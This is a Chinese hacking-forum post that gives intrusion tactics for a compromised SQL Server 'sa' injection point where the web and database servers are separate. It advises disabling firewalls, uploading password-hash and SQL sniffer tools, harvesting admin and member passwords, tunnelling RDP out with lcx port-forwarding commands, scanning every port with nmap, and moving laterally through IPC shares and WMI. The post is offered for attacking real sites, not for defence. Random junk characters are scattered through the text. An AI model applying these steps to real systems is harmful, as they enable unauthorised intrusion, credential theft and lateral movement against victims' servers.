找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2320|回复: 0
打印 上一主题 下一主题

SA权限网站和数据库分离的一些思路

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:46:01 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
当你碰到SA的注入点,可以执行命令,但是web与数据库分离,你都会怎么做呢,当数据库不服务器不能连接外网的时候,是不是只想着从web搞呢,这篇文章从t00ls转载过来,希望对大家sa权限的注入点数据库web分离提供一些渗透思路。8 M2 n9 [8 u+ O' r" p

6 u  c& s: x; B( Y5 H9 I* ^
3 Z* [: ~8 Q4 C; J' y' f
8 |5 L& n" z3 K2 PSA点,system权限,可执行命令,web和db分离.DB机器不上网(一般指中马不上线,lcx反弹不出)
3 K8 P8 ~; E+ o) f5 D& }2 B* B% E: M0 h0 V+ U% i

( P& x6 e8 ?7 i8 `一、DB机有公网IP.% w0 q3 \/ `7 g/ L

. J: a* A$ f7 E" s. y1:执行命令把系统防火墙和ip策略停止,netstat -an找到3389端口尝试连接.3 w6 _& O' K9 t8 D
, ^. P8 I4 g& r& z: C5 P
) g5 p+ P( c4 S+ c( G. ~
2:从内往外扫描.把命令行下的s扫描器转成vbs传上DB机器生成exe扫描外网一台做了端口策略的机器.这台外网机器开放所有端口.(可以到网上找这 样的 机器.) 如果扫描结果有开放端口,证明在这台DB机可以把3389转到外面机器.比如扫到80 那就lcx -slave ip 80 127.0.0.1 3389." _" q2 Q; p  ]% T: V# O6 U9 b
- l- ?& G# J2 E% j5 Y: T
- ~$ n6 L0 U8 A* |' D
3:尽量多拿密码.用vbs的方法上传gethash,sqlsniffer类的工具.拿到系统和mssql的密 码,数据库表的后台管理员密码,member表的最前几个用户密码.这些密码可以用来测试web后台,web的3389 ftp等.当然事先要对web机器完整扫描一遍. www.2cto.com
" |2 l+ d  f  V0 i2 {+ H6 Z& Y  C( X( ~# i' |/ T

- S6 P4 d% Y5 G7 z- |; ]" M3 z& U4,nmap扫描.用nmap扫描web和db机器的1-65535端口.如果发现db机器显示有closed的端口.那恭喜你,你可以lcx -tran 把3389转发到该端口直接登陆.firewalk也有类似功能.但对代理防火墙无用.1 K8 G9 ~& C6 ~, o0 A  F
8 W+ V8 T) d  W4 @7 Q

2 }8 @# P  z$ _; T! q& ?, W2 U" A; m+ R! _
二、DB机只有内网IP
8 S2 @& x0 F& c4 K+ @
. O+ b0 b. \( I$ b1 ^) }1:尽量多拿密码来net use到web机器.这个过程需要极大的耐心 , 拿密码尝试登陆web后台等.# S) F7 ]/ k5 k2 y  n% q
, k* b7 g0 R. B0 z. _  a
7 Y. L+ Q. N7 m$ z* M8 G
2:停掉防火墙和IP策略再从内往外扫描.* ~* p4 a: p/ i: I

7 h4 S3 a4 @" H3 r
( }% N2 d$ ]) e& Y# t$ A) E& g% ~' @3: ipconfig /dispalydns如果发现有公网的域名,极大可能是路由做了手脚.机会还是有的.
4 I  \5 z8 O; f- }/ n, B- D  ~0 \
9 I# T2 D- M+ j: n
4:学会密码规律分析往往会有惊喜.
! V) L8 \* U5 x% q3 h! s7 l$ k& _. s3 r; h0 _2 o# k
2 r1 A- F( Z! }! K
5,在sa点里执行命令渗透内网,找可上网的机器.isql,ipc共享,wmi等! D: g3 T0 z. `6 D
. j. e2 l% X. l, `" i

& M! [  W6 K. _/ I有些地区或国家会禁止别的国家连接一些端口,所以拥有目标国代理或VPN是很重要的​
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表